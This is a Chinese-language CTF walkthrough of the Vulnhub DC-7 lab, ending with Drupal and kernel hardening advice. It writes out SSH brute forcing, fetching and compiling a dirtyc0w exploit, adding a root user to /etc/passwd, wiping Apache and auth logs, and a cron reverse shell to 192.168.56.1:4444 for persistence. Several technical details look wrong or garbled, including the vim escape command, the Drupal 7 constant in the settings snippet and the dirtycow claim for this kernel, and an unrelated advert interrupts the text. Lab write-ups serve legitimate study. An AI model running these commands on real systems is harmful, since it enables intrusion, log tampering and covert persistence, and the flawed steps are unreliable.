1. 靶机渗透测试入门:为什么选择DC-7?
DC-7是Vulnhub平台上基于Drupal CMS构建的经典渗透测试靶机,专为中级CTF选手设计。这个靶机完美模拟了企业环境中常见的Web应用漏洞链,包含从信息收集到权限提升的完整攻击路径。我选择它作为教学案例,是因为它集中体现了三个关键教学价值:
- 真实企业技术栈:采用Drupal 8+PHP+MySQL组合,这是全球超过百万网站使用的CMS方案
- 多层漏洞组合:需要串联Web漏洞、服务配置缺陷、权限控制问题才能拿到最终flag
- 典型攻击手法:涵盖SQL注入、文件包含、密码爆破、SSH隧道等红队常用技术
提示:建议使用VirtualBox导入靶机镜像,网络模式选择Host-only或NAT模式确保隔离性。靶机下载地址为Vulnhub官方页面(需自行搜索"DC-7 Vulnhub"获取最新链接)。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初步侦查
2.1 实验环境搭建
我的测试环境配置如下,供参考:
- 攻击机:Kali Linux 2023.4(IP自动分配)
- 靶机:DC-7 OVA镜像(默认IP 192.168.56.107)
- 网络拓扑:/24网段,确保互通性
首先用nmap进行基础扫描:
bash复制nmap -sV -T4 -p- 192.168.56.107
关键发现:
- 80/tcp:Apache httpd 2.4.25
- 22/tcp:OpenSSH 7.4p1
- 服务指纹显示Drupal 8.3.7
2.2 Web应用信息收集
使用Wappalyzer插件快速识别技术栈:
- CMS:Drupal 8
- 前端:jQuery 1.12.4
- 服务器:Apache/2.4.25 (Debian)
手动访问首页发现重要线索:
- 页面底部有"Site by DCTF"字样
- 登录表单存在用户名枚举漏洞(响应时间差异)
- robots.txt暴露/admin/config路径
3. Drupal漏洞利用实战
3.1 弱密码与用户枚举
通过Burp Suite捕获登录请求,发现:
- 用户"admin"存在但密码错误
- 用户"dc7user"存在且可暴力破解
使用cewl生成字典:
bash复制cewl http://192.168.56.107 -w drupal_dict.txt
hydra爆破SSH:
bash复制hydra -l dc7user -P drupal_dict.txt ssh://192.168.56.107
成功获取凭证:dc7user:Goodluck!
3.2 受限SSH会话突破
登录后发现受限制shell:
bash复制$ whoami
dc7user
$ ls
-rbash: ls: command not found
绕过方法:
- 通过SSH执行vim然后调用shell
bash复制ssh dc7user@192.168.56.107 -t "vim" :!/bin/bash - 导出PATH环境变量
bash复制export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
3.3 内核提权路径分析
查看系统信息:
bash复制uname -a
Linux dc-7 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
发现可利用漏洞:
- CVE-2017-16995 (Linux内核<4.14)
- dirtyc0w (CVE-2016-5195)
使用预编译exp:
bash复制wget http://192.168.56.1/dirtyc0w.c -O /tmp/dc.c
gcc /tmp/dc.c -o /tmp/dc -pthread
/tmp/dc /etc/passwd
成功添加root权限用户:
bash复制echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' >> /etc/passwd
4. 后渗透与痕迹清理
4.1 敏感数据收集
定位flag文件:
bash复制find / -name "*flag*" 2>/dev/null
/root/final-flag.txt
查看数据库凭证:
bash复制cat /var/www/html/sites/default/settings.php
$databases = array(
'default' => array(
'default' => array(
'database' => 'drupal',
'username' => 'drupaluser',
'password' => '53CR3TP@SS',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
),
),
);
4.2 日志清除技巧
Apache访问日志:
bash复制echo "" > /var/log/apache2/access.log
SSH登录记录:
bash复制sed -i '/dc7user/d' /var/log/auth.log
4.3 持久化后门部署
方法一:SSH密钥注入
bash复制mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3N...[你的公钥]" >> /root/.ssh/authorized_keys
方法二:Cron定时任务
bash复制(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'") | crontab -
5. 防御方案与加固建议
5.1 Drupal安全配置
- 更新到最新版本(当前为Drupal 9.5.x)
- 禁用用户枚举功能:
php复制// settings.php中添加 $settings['user_register'] = USER_REGISTER_ADMINISTRATORS_ONLY; - 安装Security Kit模块防御常见Web攻击
5.2 系统层加固
- 升级内核版本:
bash复制
apt-get update && apt-get install linux-image-amd64 - 限制SSH功能:
bash复制# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no AllowUsers admin
5.3 监控与审计
- 部署OSSEC入侵检测:
bash复制
apt-get install ossec-hids-server - 启用Apache ModSecurity:
bash复制
a2enmod security2 systemctl restart apache2
6. 从CTF到实战的思维转变
在真实渗透测试中,有几点与CTF显著不同:
- 时间成本控制:企业环境中不会允许无限制爆破,需要精准选择攻击点
- 动静平衡:实际渗透要避免触发WAF/IDS,CTF中则可以更激进
- 报告价值:不仅要找到漏洞,更要评估风险等级和修复方案
建议的成长路径:
- 完成Vulnhub全部DC系列靶机(DC-1到DC-9)
- 尝试HackTheBox中的Active Directory靶场
- 参与Bug Bounty项目积累实战经验
我个人的踩坑经验是:初期容易过度依赖自动化工具,实际上手工测试能发现更多逻辑漏洞。比如这次DC-7中,通过仔细阅读网页源码发现的注释线索,比直接跑扫描器更高效。
